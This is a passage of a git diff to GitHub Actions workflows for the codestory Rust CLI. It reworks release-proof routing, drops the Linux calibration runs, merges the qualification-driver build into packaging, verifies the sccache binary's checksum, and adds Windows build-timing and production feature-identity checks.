steps.resolve.outputs.head_sha }} + RESOLVED_MODE: ${{ steps.resolve.outputs.mode }} + run: | + set -euo pipefail + printf '%s' "$FREEZE_RECEIPT_DIGEST" | grep -Eq '^[0-9a-f]{64}$' + if [ "$RESOLVED_MODE" = calibration ]; then + freeze_phase=calibration_source + else + freeze_phase=frozen_candidate + fi + tree="$( + gh api "repos/$GITHUB_REPOSITORY/git/commits/$HEAD_SHA" --jq '.tree.sha' + )" + node .github/scripts/release-freeze-barrier.mjs verify-status \ + --repository "$GITHUB_REPOSITORY" \ + --commit "$HEAD_SHA" \ + --tree "$tree" \ + --phase "$freeze_phase" \ + --receipt-digest "$FREEZE_RECEIPT_DIGEST" + + - name: Require successful exact-head source proof + if: steps.resolve.outputs.mode != 'integration' && steps.resolve.outputs.mode != 'calibration' + shell: bash + env: + GH_TOKEN: ${{ github.token }} + HEAD_SHA: ${{ steps.resolve.outputs.head_sha }} + run: | + set -euo pipefail + accepted=false + while IFS= read -r run_id; do + if gh api "repos/$GITHUB_REPOSITORY/actions/runs/$run_id/jobs?per_page=100" \ + --jq '.jobs[] | select(.name == "full-source-gate" and .conclusion == "success") | .id' \ + | grep -q . + then + accepted=true + echo "Accepted exact-head source proof run $run_id for $HEAD_SHA." + break + fi + done < <( + gh api --paginate \ + "repos/$GITHUB_REPOSITORY/actions/runs?head_sha=$HEAD_SHA&status=completed&per_page=100" \ + | jq -r --arg repo "$GITHUB_REPOSITORY" \ + '.workflow_runs[] | select(.path == ".github/workflows/source-proof.yml" and .head_repository.full_name == $repo and .event == "workflow_dispatch" and .conclusion == "success") | .id' + ) + test "$accepted" = true || { + echo "::error::No successful full-source-gate job exists for exact head $HEAD_SHA." + exit 1 + } - name: Select change-aware proof scope id: scope @@ -225,28 +272,29 @@ jobs: env: BASE_SHA: ${{ steps.resolve.outputs.base_sha }} HEAD_SHA: ${{ steps.resolve.outputs.head_sha }} + RESOLVED_MODE: ${{ steps.resolve.outputs.mode }} REQUESTED_SCOPE: ${{ inputs.scope || 'auto' }} run: | set -euo pipefail - if [ "${{ steps.resolve.outputs.mode }}" = "integration" ]; then + if [ "$RESOLVED_MODE" = "integration" ]; then if [ "$REQUESTED_SCOPE" = none ] || [ "$REQUESTED_SCOPE" = linux ]; then scope="$REQUESTED_SCOPE" else scope=full fi - elif [ "${{ steps.resolve.outputs.mode }}" = "package" ]; then + elif [ "$RESOLVED_MODE" = "package" ]; then test "$REQUESTED_SCOPE" != none if [ "$REQUESTED_SCOPE" = auto ]; then scope=full else scope="$REQUESTED_SCOPE" fi - elif [ "${{ steps.resolve.outputs.mode }}" = "qualification" ]; then + elif [ "$RESOLVED_MODE" = "qualification" ]; then test "$REQUESTED_SCOPE" = auto || test "$REQUESTED_SCOPE" = full scope=full - elif [ "${{ steps.resolve.outputs.mode }}" = "calibration" ]; then + elif [ "$RESOLVED_MODE" = "calibration" ]; then scope=none - elif [ "${{ steps.resolve.outputs.mode }}" = "release-evidence" ]; then + elif [ "$RESOLVED_MODE" = "release-evidence" ]; then scope=none else scope="$(git diff --name-only "$BASE_SHA...$HEAD_SHA" | node .github/scripts/route-ci-proof.mjs --stdin --requested "$REQUESTED_SCOPE")" @@ -263,17 +311,6 @@ jobs: python .github/scripts/check-codestory-release.py --version "$version" echo "version=$version" >> "$GITHUB_OUTPUT" - calibration-linux: - if: needs.route.outputs.mode == 'calibration' - needs: route - uses: ./.github/workflows/packaged-platform-proof.yml - with: - version: ${{ needs.route.outputs.version }} - ref: ${{ needs.route.outputs.head_sha }} - scope: full - proof_key: calibration-linux-${{ needs.route.outputs.head_sha }} - calibration_mode: true - calibration-macos: if: needs.route.outputs.mode == 'calibration' needs: route @@ -290,11 +327,9 @@ jobs: always() && needs.route.result == 'success' && needs.route.outputs.mode == 'calibration' && - needs.calibration-linux.result == 'success' && needs.calibration-macos.result == 'success' needs: - route - - calibration-linux - calibration-macos runs-on: ubuntu-latest timeout-minutes: 30 @@ -305,12 +340,6 @@ jobs: ref: ${{ needs.route.outputs.head_sha }} fetch-depth: 0 - - name: Download hosted Linux calibration runs - uses: actions/download-artifact@v8.0.1 - with: - name: embedding-calibration-linux-${{ needs.route.outputs.version }} - path: target/calibration-inputs/linux - - name: Download protected macOS calibration runs uses: actions/download-artifact@v8.0.1 with: @@ -325,11 +354,11 @@ jobs: set -euo pipefail test "$(git rev-parse HEAD)" = "$EXPECTED_HEAD_SHA" mapfile -t runs < <( - find target/calibration-inputs -type f \ + find target/calibration-inputs/macos -type f \ \( -name 'run-1.json' -o -name 'run-2.json' -o -name 'run-3.json' \) \ -print | sort ) - test "${#runs[@]}" = 6 + test "${#runs[@]}" = 3 run_args=() for run in "${runs[@]}"; do run_args+=(--calibration-run "$run") @@ -364,8 +393,8 @@ jobs: --arg source_head_sha "$EXPECTED_HEAD_SHA" \ --arg producer_run_id "$GITHUB_RUN_ID" \ '.selection_source.commit == $source_head_sha - and .run_count == 6 - and .matrix_cell_count == 2 + and .run_count == 3 + and .matrix_cell_count == 1 and .producer_run_id == $producer_run_id' \ target/calibration-freeze/manifest.json >/dev/null @@ -391,10 +420,17 @@ jobs: source-proof: if: needs.route.outputs.mode == 'integration' needs: route + permissions: + actions: write + contents: read + pull-requests: read + statuses: write uses: ./.github/workflows/source-proof.yml with: ref: ${{ needs.route.outputs.head_sha }} proof_key: ${{ needs.route.outputs.proof_key }} + version: ${{ needs.route.outputs.version }} + freeze_receipt_digest: ${{ inputs.freeze_receipt_digest }} packaged-proof: if: >- @@ -416,7 +452,7 @@ jobs: proof_key: ${{ needs.route.outputs.proof_key }} sign_macos: false hermetic_linux: ${{ needs.route.outputs.mode == 'qualification' }} - quality_evidence_artifact: "" + include_qualification_driver: ${{ needs.route.outputs.mode == 'qualification' }} calibration_bundle_artifact: ${{ inputs.calibration_bundle_artifact || '' }} calibration_bundle_run_id: ${{ inputs.calibration_bundle_run_id || '' }} @@ -436,12 +472,29 @@ jobs: ref: ${{ needs.route.outputs.head_sha }} proof_key: ${{ needs.route.outputs.proof_key }} use_packaged_cli_artifact: true - quality_evidence_artifact: "" calibration_bundle_artifact: ${{ inputs.calibration_bundle_artifact || '' }} calibration_bundle_run_id: ${{ inputs.calibration_bundle_run_id || '' }} - candidate_installed_proof: true + candidate_installed_proof: ${{ needs.route.outputs.mode != 'qualification' }} candidate_producer_workflow_path: .github/workflows/packaged-platform-pr.yml - server_behavior_only: true + server_behavior_only: ${{ needs.route.outputs.mode != 'qualification' }} + + frozen-candidate-quality: + name: Optional frozen-candidate quality + if: >- + always() && + needs.route.result == 'success' && + needs.packaged-proof.result == 'success' && + needs.macos-metal-proof.result == 'success' && + needs.route.outputs.mode == 'qualification' && + (needs.route.outputs.scope == 'macos' || needs.route.outputs.scope == 'full') + needs: + - route + - packaged-proof + - macos-metal-proof + uses: ./.github/workflows/frozen-candidate-quality.yml + with: + version: ${{ needs.route.outputs.version }} + ref: ${{ needs.route.outputs.head_sha }} windows-vulkan-proof: if: >- @@ -459,12 +512,11 @@ jobs: ref: ${{ needs.route.outputs.head_sha }} proof_key: ${{ needs.route.outputs.proof_key }} use_packaged_cli_artifact: true - quality_evidence_artifact: "" calibration_bundle_artifact: ${{ inputs.calibration_bundle_artifact || '' }} calibration_bundle_run_id: ${{ inputs.calibration_bundle_run_id || '' }} - candidate_installed_proof: true + candidate_installed_proof: ${{ needs.route.outputs.mode != 'qualification' }} candidate_producer_workflow_path: .github/workflows/packaged-platform-pr.yml - server_behavior_only: true + server_behavior_only: ${{ needs.route.outputs.mode != 'qualification' }} linux-vulkan-proof: if: >- @@ -472,6 +524,7 @@ jobs: needs.route.result == 'success' && needs.packaged-proof.result == 'success' && needs.route.outputs.mode != 'package' && + needs.route.outputs.mode != 'qualification' && (needs.route.outputs.scope == 'linux' || needs.route.outputs.scope == 'full') needs: - route @@ -555,7 +608,11 @@ jobs: else require_result "$METAL_RESULT" success macos-metal-proof require_result "$WINDOWS_VULKAN_RESULT" success windows-vulkan-proof - require_result "$LINUX_VULKAN_RESULT" success linux-vulkan-proof + if [ "$MODE" = qualification ]; then + require_result "$LINUX_VULKAN_RESULT" skipped linux-vulkan-proof + else + require_result "$LINUX_VULKAN_RESULT" success linux-vulkan-proof + fi fi fi if [ "$MODE" = integration ]; then diff --git a/.github/workflows/packaged-platform-proof.yml b/.github/workflows/packaged-platform-proof.yml index 8b3d6ec72..071318146 100644 --- a/.github/workflows/packaged-platform-proof.yml +++ b/.github/workflows/packaged-platform-proof.yml @@ -26,11 +26,6 @@ on: required: false default: false type: boolean - quality_evidence_artifact: - description: Exact-head release-evidence artifact containing packet/packet-runtime-summary.json. - required: false - default: "" - type: string calibration_bundle_artifact: description: Frozen calibration bundle artifact name. required: false @@ -41,11 +36,6 @@ on: required: false default: "" type: string - calibration_mode: - description: Collect the three independent hosted Linux calibration runs only. - required: false - default: false - type: boolean emit_release_cells: description: Emit authenticated package cells for the production release coordinator. required: false @@ -56,6 +46,11 @@ on: required: false default: false type: boolean + include_qualification_driver: + description: Build and retain the exact full-qualification driver beside the candidate packages. + required: false + default: false + type: boolean secrets: APPLE_DEVELOPER_ID_P12_BASE64: required: false @@ -96,13 +91,13 @@ jobs: # The six APPLE_* credentials are an environment-scoped release contract; # repository-only secrets are not the supported signing configuration. environment: ${{ inputs.sign_macos && startsWith(matrix.asset_target, 'macos-') && 'macos-release-signing' || null }} - timeout-minutes: ${{ inputs.calibration_mode && 180 || (inputs.sign_macos && startsWith(matrix.asset_target, 'macos-') && 90 || 60) }} + timeout-minutes: ${{ inputs.sign_macos && startsWith(matrix.asset_target, 'macos-') && 90 || 60 }} strategy: fail-fast: false # GitHub applies matrix exclusions before includes, so an include-only # matrix must select the complete row set rather than trying to exclude # rows after the fact. - matrix: ${{ fromJSON(inputs.calibration_mode && '{"include":[{"os":"ubuntu-latest","rust_target":"x86_64-unknown-linux-gnu","asset_target":"linux-x64","exe_suffix":"","extension":"tar.gz"}]}' || inputs.scope == 'linux' && '{"include":[{"os":"ubuntu-latest","rust_target":"x86_64-unknown-linux-gnu","asset_target":"linux-x64","exe_suffix":"","extension":"tar.gz"}]}' || inputs.scope == 'windows' && '{"include":[{"os":"windows-latest","rust_target":"x86_64-pc-windows-msvc","asset_target":"windows-x64","exe_suffix":".exe","extension":"zip"}]}' || inputs.scope == 'macos' && '{"include":[{"os":"macos-15","rust_target":"aarch64-apple-darwin","asset_target":"macos-arm64","exe_suffix":"","extension":"tar.gz"}]}' || '{"include":[{"os":"windows-latest","rust_target":"x86_64-pc-windows-msvc","asset_target":"windows-x64","exe_suffix":".exe","extension":"zip"},{"os":"macos-15","rust_target":"aarch64-apple-darwin","asset_target":"macos-arm64","exe_suffix":"","extension":"tar.gz"},{"os":"ubuntu-latest","rust_target":"x86_64-unknown-linux-gnu","asset_target":"linux-x64","exe_suffix":"","extension":"tar.gz"}]}') }} + matrix: ${{ fromJSON(inputs.scope == 'linux' && '{"include":[{"os":"ubuntu-latest","rust_target":"x86_64-unknown-linux-gnu","asset_target":"linux-x64","exe_suffix":"","extension":"tar.gz"}]}' || inputs.scope == 'windows' && '{"include":[{"os":"windows-latest","rust_target":"x86_64-pc-windows-msvc","asset_target":"windows-x64","exe_suffix":".exe","extension":"zip"}]}' || inputs.scope == 'macos' && '{"include":[{"os":"macos-15","rust_target":"aarch64-apple-darwin","asset_target":"macos-arm64","exe_suffix":"","extension":"tar.gz"}]}' || '{"include":[{"os":"windows-latest","rust_target":"x86_64-pc-windows-msvc","asset_target":"windows-x64","exe_suffix":".exe","extension":"zip"},{"os":"macos-15","rust_target":"aarch64-apple-darwin","asset_target":"macos-arm64","exe_suffix":"","extension":"tar.gz"},{"os":"ubuntu-latest","rust_target":"x86_64-unknown-linux-gnu","asset_target":"linux-x64","exe_suffix":"","extension":"tar.gz"}]}') }} steps: - name: Checkout uses: actions/checkout@v5 @@ -127,9 +122,12 @@ jobs: } >> "$GITHUB_OUTPUT" - name: Install pinned Rust + # The toolchain is now read as a shell variable, which makes the script shell-dependent: + # this job's matrix includes windows-latest, where the runner default is pwsh. + shell: bash run: | - rustup toolchain install "${{ env.RELEASE_RUST_TOOLCHAIN }}" --profile minimal - rustup default "${{ env.RELEASE_RUST_TOOLCHAIN }}" + rustup toolchain install "$RELEASE_RUST_TOOLCHAIN" --profile minimal + rustup default "$RELEASE_RUST_TOOLCHAIN" rustup target add "${{ matrix.rust_target }}" - name: Configure short Windows Cargo target @@ -149,6 +147,11 @@ jobs: New-Item -ItemType Junction -Path $shortTarget -Target $workspaceTarget | Out-Null "CARGO_TARGET_DIR=$shortTarget" | Out-File -FilePath $env:GITHUB_ENV -Encoding utf8 -Append + - name: Start Windows native setup clock + id: windows-native-setup-clock + if: runner.os == 'Windows' + run: node .github/scripts/cargo-cache-contract.mjs start + - name: Prepare checksum-pinned embedded model run: node scripts/prepare-embedded-model.mjs @@ -157,6 +160,27 @@ jobs: shell: pwsh run: .github/scripts/install-windows-vulkan-sdk.ps1 + - name: Stop Windows native setup clock + id: windows-native-setup-clock-stop + if: runner.os == 'Windows' + run: node .github/scripts/cargo-cache-contract.mjs stop + + - name: Report Windows native setup timing + if: runner.os == 'Windows' + shell: bash + env: + STARTED_MS: ${{ steps.windows-native-setup-clock.outputs.started-ms }} + ENDED_MS: ${{ steps.windows-native-setup-clock-stop.outputs.ended-ms }} + run: | + set -euo pipefail + elapsed_ms=$((ENDED_MS - STARTED_MS)) + test "$elapsed_ms" -ge 0 + { + echo "### Windows package timing" + echo + echo "- Model and native SDK setup: ${elapsed_ms} ms" + } >> "$GITHUB_STEP_SUMMARY" + - name: Install Linux Vulkan build dependencies if: runner.os == 'Linux' run: bash .github/scripts/install-linux-vulkan-build-deps.sh @@ -167,6 +191,30 @@ jobs: version: ${{ env.SCCACHE_VERSION }} disable_annotations: true + - name: Capture pinned sccache identity + id: sccache-identity + shell: bash + run: | + sccache_path="$(command -v sccache)" + if [[ "$RUNNER_OS" == "Windows" && "$sccache_path" != *.[eE][xX][eE] ]]; then + sccache_path="${sccache_path}.exe" + fi + test -f "$sccache_path" + test -x "$sccache_path" + sccache_sha256="$( + node --input-type=module -e ' + import { createHash } from "node:crypto"; + import { readFileSync } from "node:fs"; + process.stdout.write( + createHash("sha256").update(readFileSync(process.argv[1])).digest("hex"), + ); + ' "$sccache_path" + )" + { + echo "path=$sccache_path" + echo "sha256=$sccache_sha256" + } >> "$GITHUB_OUTPUT" + - name: Configure bounded compiler cache shell: bash run: | @@ -192,8 +240,7 @@ jobs: shell: bash env: EXACT_SHA: ${{ inputs.ref }} - CALIBRATION_MODE: ${{ inputs.calibration_mode }} - QUALITY_EVIDENCE_ARTIFACT: ${{ inputs.quality_evidence_artifact }} + INCLUDE_QUALIFICATION_DRIVER: ${{ inputs.include_qualification_driver }} run: | set -euo pipefail rust_version="$(rustc -Vv | sed -n 's/^release: //p')" @@ -206,13 +253,9 @@ jobs: --relevant-input crates/codestory-llama-sys/model-contract.json --relevant-input scripts/prepare-embedded-model.mjs ) - qualification_driver=disabled - if [ "$CALIBRATION_MODE" = true ] || [ -n "$QUALITY_EVIDENCE_ARTIFACT" ]; then - qualification_driver=enabled - fi extra_identity=( --identity cargo_incremental=0 - --identity "qualification_driver=$qualification_driver" + --identity "qualification_driver=$INCLUDE_QUALIFICATION_DRIVER" ) while IFS= read -r manifest; do relevant_inputs+=(--relevant-input "$manifest") @@ -220,6 +263,7 @@ jobs: if [ "$RUNNER_OS" = Windows ]; then generator=ninja ninja_version="$(ninja --version)" + extra_identity+=(--identity windows_rustflags=-Clink-arg=/TIME) # shellcheck disable=SC2016 native_toolchain="$( pwsh -NoProfile -Command ' @@ -263,6 +307,11 @@ jobs: "${relevant_inputs[@]}" \ "${extra_identity[@]}" + - name: Start Windows cache restoration clock + id: windows-cache-restore-clock + if: runner.os == 'Windows' + run: node .github/scripts/cargo-cache-contract.mjs start + - name: Restore Cargo dependency inputs id: cargo-dependency-cache uses: actions/cache/restore@v5 @@ -316,13 +365,31 @@ jobs: --cache-hit "${CACHE_HIT:-false}" \ --path "$SCCACHE_DIR" + - name: Stop Windows cache restoration clock + id: windows-cache-restore-clock-stop + if: runner.os == 'Windows' + run: node .github/scripts/cargo-cache-contract.mjs stop + + - name: Report Windows cache restoration timing + if: runner.os == 'Windows' + shell: bash + env: + STARTED_MS: ${{ steps.windows-cache-restore-clock.outputs.started-ms }} + ENDED_MS: ${{ steps.windows-cache-restore-clock-stop.outputs.ended-ms }} + run: | + set -euo pipefail + elapsed_ms=$((ENDED_MS - STARTED_MS)) + test "$elapsed_ms" -ge 0 + echo "- Cargo input and compiler-object cache restoration: ${elapsed_ms} ms" \ + >> "$GITHUB_STEP_SUMMARY" + - name: Build pinned Linux toolchain image if: matrix.asset_target == 'linux-x64' shell: bash run: | docker build --platform linux/amd64 \ - --build-arg "BUILD_IMAGE=${{ env.LINUX_GLIBC_BUILD_IMAGE }}" \ - --build-arg "GLSLC_IMAGE=${{ env.LINUX_GLSLC_IMAGE }}" \ + --build-arg "BUILD_IMAGE=$LINUX_GLIBC_BUILD_IMAGE" \ + --build-arg "GLSLC_IMAGE=$LINUX_GLSLC_IMAGE" \ --file .github/docker/linux-glibc-build.Dockerfile \ --tag codestory-linux-glibc-build \ .github/docker @@ -331,32 +398,123 @@ jobs: id: compile-clock run: node .github/scripts/cargo-cache-contract.mjs start - - name: Compile native workspace path regression on Windows - id: windows-workspace-compile - if: runner.os == 'Windows' - run: cargo test --locked -p codestory-workspace repository_identity --no-run - - - name: Compile immutable native staging regression on Windows - id: windows-native-compile - if: runner.os == 'Windows' - run: >- - cargo test --release --locked - -p codestory-llama-sys - --test native_staging - --target "${{ matrix.rust_target }}" - --no-run - - - name: Build codestory-cli + - name: Build package and qualification driver id: package-build if: matrix.asset_target != 'linux-x64' - run: cargo build --release --locked -p codestory-cli --target "${{ matrix.rust_target }}" + shell: bash + env: + INCLUDE_QUALIFICATION_DRIVER: ${{ inputs.include_qualification_driver }} + RELEASE_RUST_TARGET: ${{ matrix.rust_target }} + SOURCE_SHA: ${{ steps.source-identity.outputs.sha }} + SOURCE_TREE: ${{ steps.source-identity.outputs.tree }} + run: | + set -euo pipefail + cargo_args=( + -p codestory-cli + --bin codestory-cli + --bin codestory-cli-runtime + ) + if [ "$INCLUDE_QUALIFICATION_DRIVER" = true ]; then + cargo_args+=( + -p codestory-bench + --bin codestory_embedding_qualification + ) + fi + build_package_graph() { + cargo build --release --locked \ + "${cargo_args[@]}" \ + --target "$RELEASE_RUST_TARGET" \ + "$@" + } + if [ "$RUNNER_OS" = Windows ]; then + timing_dir="target/windows-package-build-timing" + mkdir -p "$timing_dir" + cargo_json="$timing_dir/cargo-messages.jsonl" + linker_log="$timing_dir/msvc-link-time.log" + build_started_ms="$(node -p 'Date.now()')" + export RUSTFLAGS="-C link-arg=/TIME" + build_package_graph \ + --message-format=json-render-diagnostics \ + --timings \ + 2> >(tee "$linker_log" >&2) \ + | tee "$cargo_json" + build_ended_ms="$(node -p 'Date.now()')" + build_elapsed_ms=$((build_ended_ms - build_started_ms)) + test "$build_elapsed_ms" -ge 0 + + expectations=( + --expect "cli=codestory-cli:bin:codestory-cli" + --expect "runtime=codestory-cli:bin:codestory-cli-runtime" + ) + if [ "$INCLUDE_QUALIFICATION_DRIVER" = true ]; then + expectations+=( + --expect "qualification_driver=codestory-bench:bin:codestory_embedding_qualification" + ) + fi + node .github/scripts/cargo-build-artifacts.mjs select \ + --input "$cargo_json" \ + --out "$timing_dir/cargo-build-artifacts.json" \ + --target-dir "$CARGO_TARGET_DIR" \ + --workspace-root "$GITHUB_WORKSPACE" \ + --rust-target "$RELEASE_RUST_TARGET" \ + --source-sha "$SOURCE_SHA" \ + --source-tree "$SOURCE_TREE" \ + --github-output "$GITHUB_OUTPUT" \ + "${expectations[@]}" + node --input-type=module -e ' + import fs from "node:fs"; + import path from "node:path"; + const source = path.join(process.env.CARGO_TARGET_DIR, "cargo-timings"); + const destination = path.join( + "target", + "windows-package-build-timing", + "cargo-timings", + ); + if (fs.existsSync(source)) { + fs.cpSync(source, destination, { recursive: true }); + } + ' + linker_rows="$(grep -Eic '(^|[[:space:]])time([[:space:](:]|$)' "$linker_log" || true)" + { + echo "- Exact release graph build: ${build_elapsed_ms} ms" + echo "- MSVC /TIME linker rows retained: ${linker_rows}" + } >> "$GITHUB_STEP_SUMMARY" + else + timing_dir="target/package-build-contract/${{ matrix.asset_target }}" + mkdir -p "$timing_dir" + cargo_json="$timing_dir/cargo-messages.jsonl" + build_package_graph \ + --message-format=json-render-diagnostics \ + > "$cargo_json" + cat "$cargo_json" + node .github/scripts/cargo-build-artifacts.mjs features \ + --input "$cargo_json" \ + --workspace-root "$GITHUB_WORKSPACE" + fi - name: Build Linux x64 at the glibc 2.31 baseline id: linux-build if: matrix.asset_target == 'linux-x64' + shell: bash + env: + INCLUDE_QUALIFICATION_DRIVER: ${{ inputs.include_qualification_driver }} + RELEASE_RUST_TARGET: ${{ matrix.rust_target }} + SCCACHE_BINARY: ${{ steps.sccache-identity.outputs.path }} + SCCACHE_SHA256: ${{ steps.sccache-identity.outputs.sha256 }} run: | - test -x "$SCCACHE_PATH" + test -x "$SCCACHE_BINARY" + actual_sccache_sha256="$( + node --input-type=module -e ' + import { createHash } from "node:crypto"; + import { readFileSync } from "node:fs"; + process.stdout.write( + createHash("sha256").update(readFileSync(process.argv[1])).digest("hex"), + ); + ' "$SCCACHE_BINARY" + )" + test "$actual_sccache_sha256" = "$SCCACHE_SHA256" mkdir -p "$CARGO_HOME" "$SCCACHE_DIR" + mkdir -p "target/package-build-contract/${{ matrix.asset_target }}" model_relative="${CODESTORY_EMBED_MODEL_SOURCE#"$PWD/"}" docker run --rm --platform linux/amd64 \ --user "$(id -u):$(id -g)" \ @@ -369,23 +527,44 @@ jobs: --env SCCACHE_CACHE_SIZE="$SCCACHE_CACHE_SIZE" \ --env CMAKE_C_COMPILER_LAUNCHER=/sccache/sccache \ --env CMAKE_CXX_COMPILER_LAUNCHER=/sccache/sccache \ + --env INCLUDE_QUALIFICATION_DRIVER="$INCLUDE_QUALIFICATION_DRIVER" \ + --env RELEASE_RUST_TARGET="$RELEASE_RUST_TARGET" \ --volume "$CARGO_HOME:/cargo" \ --volume "$PWD:/workspace" \ - --volume "$SCCACHE_PATH:/sccache/sccache:ro" \ + --volume "$SCCACHE_BINARY:/sccache/sccache:ro" \ --volume "$SCCACHE_DIR:/sccache/cache" \ --workdir /workspace \ codestory-linux-glibc-build \ sh -ceu ' - cargo build --release --locked -p codestory-cli \ - --target "${{ matrix.rust_target }}" + set -- \ + -p codestory-cli \ + --bin codestory-cli \ + --bin codestory-cli-runtime + if [ "$INCLUDE_QUALIFICATION_DRIVER" = true ]; then + set -- "$@" \ + -p codestory-bench \ + --bin codestory_embedding_qualification + fi + cargo build --release --locked "$@" \ + --target "$RELEASE_RUST_TARGET" \ + --message-format=json-render-diagnostics \ + > /workspace/target/package-build-contract/linux-x64/cargo-messages.jsonl + cat /workspace/target/package-build-contract/linux-x64/cargo-messages.jsonl /sccache/sccache --show-stats /sccache/sccache --stop-server ' + node .github/scripts/cargo-build-artifacts.mjs features \ + --input "target/package-build-contract/${{ matrix.asset_target }}/cargo-messages.jsonl" \ + --workspace-root "$GITHUB_WORKSPACE" mkdir -p "target/${{ matrix.rust_target }}/release" cp "target/glibc-2.31/${{ matrix.rust_target }}/release/codestory-cli" \ "target/${{ matrix.rust_target }}/release/codestory-cli" cp "target/glibc-2.31/${{ matrix.rust_target }}/release/codestory-cli-runtime" \ "target/${{ matrix.rust_target }}/release/codestory-cli-runtime" + if [ "$INCLUDE_QUALIFICATION_DRIVER" = true ]; then + cp "target/glibc-2.31/${{ matrix.rust_target }}/release/codestory_embedding_qualification" \ + "target/${{ matrix.rust_target }}/release/codestory_embedding_qualification" + fi rm -rf "target/${{ matrix.rust_target }}/release/.codestory-native-seeds" cp -R "target/glibc-2.31/${{ matrix.rust_target }}/release/.codestory-native-seeds" \ "target/${{ matrix.rust_target }}/release/.codestory-native-seeds" @@ -398,11 +577,6 @@ jobs: cp "target/glibc-2.31/${{ matrix.rust_target }}/release/codestory-native-runtime-files-v1.txt" \ "target/${{ matrix.rust_target }}/release/codestory-native-runtime-files-v1.txt" - - name: Build qualification driver - id: qualification-driver - if: matrix.asset_target == 'linux-x64' && (inputs.calibration_mode || inputs.quality_evidence_artifact != '') - run: cargo build --release --locked -p codestory-bench --bin codestory_embedding_qualification - - name: Stop compilation clock id: compile-clock-stop if: >- @@ -411,23 +585,29 @@ jobs: (matrix.asset_target == 'linux-x64' && steps.linux-build.outcome == 'success') || (matrix.asset_target != 'linux-x64' && steps.package-build.outcome == 'success') ) + shell: bash run: node .github/scripts/cargo-cache-contract.mjs stop - name: Finalize compiler objects - if: >- - always() && - ( - ( - matrix.asset_target == 'linux-x64' && - steps.linux-build.outcome == 'success' && - steps.qualification-driver.outcome != 'skipped' - ) || - (matrix.asset_target != 'linux-x64' && steps.package-build.outcome == 'success') - ) + if: always() && steps.package-build.outcome == 'success' shell: bash + env: + SCCACHE_BINARY: ${{ steps.sccache-identity.outputs.path }} + SCCACHE_SHA256: ${{ steps.sccache-identity.outputs.sha256 }} run: | - sccache --show-stats - sccache --stop-server + test -x "$SCCACHE_BINARY" + actual_sccache_sha256="$( + node --input-type=module -e ' + import { createHash } from "node:crypto"; + import { readFileSync } from "node:fs"; + process.stdout.write( + createHash("sha256").update(readFileSync(process.argv[1])).digest("hex"), + ); + ' "$SCCACHE_BINARY" + )" + test "$actual_sccache_sha256" = "$SCCACHE_SHA256" + "$SCCACHE_BINARY" --show-stats + "$SCCACHE_BINARY" --stop-server - name: Bound Cargo dependency cache id: cargo-dependency-cache-size @@ -522,19 +702,6 @@ jobs: --save-result "$SAVE_RESULT" \ --path "$SCCACHE_DIR" - - name: Prove native workspace path identity - if: runner.os == 'Windows' - run: cargo test --locked -p codestory-workspace repository_identity - - - name: Test immutable native staging on Windows - if: runner.os == 'Windows' - run: >- - cargo test --release --locked - -p codestory-llama-sys - --test native_staging - --target "${{ matrix.rust_target }}" - stages_complete_immutable_native_seeds - - name: Sign and notarize macOS CLI if: runner.os == 'macOS' && inputs.sign_macos shell: bash @@ -726,40 +893,109 @@ jobs: "$bin" --version "$bin" --help + - name: Prove production feature identity + if: runner.os != 'Windows' + shell: bash + env: + CODESTORY_EMBED_ALLOW_CPU: "0" + run: | + set -euo pipefail + started_ms="$(node -p 'Date.now()')" + bin="target/${{ matrix.rust_target }}/release/codestory-cli" + cache="$RUNNER_TEMP/codestory-package-feature-probe-${{ matrix.asset_target }}" + mkdir "$cache" + status="$( + "$bin" retrieval status \ + --project "$GITHUB_WORKSPACE" \ + --cache-dir "$cache" \ + --format json + )" + jq -e \ + '.embedding_device_observation_source == "per_user_server"' \ + <<<"$status" + ended_ms="$(node -p 'Date.now()')" + elapsed_ms=$((ended_ms - started_ms)) + test "$elapsed_ms" -ge 0 + echo "- Production feature identity probe: ${elapsed_ms} ms" \ + >> "$GITHUB_STEP_SUMMARY" + - name: Smoke codestory-cli on Windows if: runner.os == 'Windows' shell: pwsh + env: + WINDOWS_CLI: ${{ steps.package-build.outputs.cli }} run: | - $bin = Join-Path $env:CARGO_TARGET_DIR "${{ matrix.rust_target }}/release/codestory-cli${{ matrix.exe_suffix }}" + $bin = "$env:WINDOWS_CLI" & $bin --version + if ($LASTEXITCODE -ne 0) { + throw "Windows CLI version smoke failed with exit code $LASTEXITCODE" + } & $bin --help + if ($LASTEXITCODE -ne 0) { + throw "Windows CLI help smoke failed with exit code $LASTEXITCODE" + } + + - name: Prove production feature identity on Windows + if: runner.os == 'Windows' + shell: pwsh + env: + CODESTORY_EMBED_ALLOW_CPU: "0" + WINDOWS_CLI: ${{ steps.package-build.outputs.cli }} + run: | + $started = [DateTimeOffset]::UtcNow.ToUnixTimeMilliseconds() + $cache = Join-Path $env:RUNNER_TEMP "codestory-package-feature-probe-windows-x64" + New-Item -ItemType Directory -Path $cache | Out-Null + $statusJson = & "$env:WINDOWS_CLI" retrieval status ` + --project "$env:GITHUB_WORKSPACE" ` + --cache-dir "$cache" ` + --format json + if ($LASTEXITCODE -ne 0) { + throw "Windows production feature probe failed with exit code $LASTEXITCODE" + } + $status = $statusJson | ConvertFrom-Json + if ($status.embedding_device_observation_source -ne "per_user_server") { + throw "production package contains a non-product embedding observation source: $($status.embedding_device_observation_source)" + } + $ended = [DateTimeOffset]::UtcNow.ToUnixTimeMilliseconds() + $elapsed = $ended - $started + if ($elapsed -lt 0) { + throw "Windows production feature-probe timing was negative" + } + "- Production feature identity probe: ${elapsed} ms" | + Out-File -FilePath $env:GITHUB_STEP_SUMMARY -Encoding utf8 -Append - name: Clear release asset output run: python -c "import shutil; shutil.rmtree('target/release-dist', ignore_errors=True)" - name: Package release asset if: runner.os != 'Windows' + shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} run: | bin="target/${{ matrix.rust_target }}/release/codestory-cli" python .github/scripts/package-codestory-release.py \ - --version "${{ inputs.version }}" \ + --version "$INPUT_VERSION" \ --target "${{ matrix.asset_target }}" \ --binary "$bin" \ --out-dir target/release-dist - name: Prove Linux x64 glibc 2.31 baseline if: matrix.asset_target == 'linux-x64' + shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} run: | docker run --rm --platform linux/amd64 \ --volume "$PWD:/workspace" \ --workdir /workspace \ - "${{ env.LINUX_GLIBC_BASELINE_IMAGE }}" \ + "$LINUX_GLIBC_BASELINE_IMAGE" \ bash -lc ' set -euo pipefail bash .github/scripts/check-linux-glibc-baseline.sh "$@" ' bash \ - "target/release-dist/codestory-cli-v${{ inputs.version 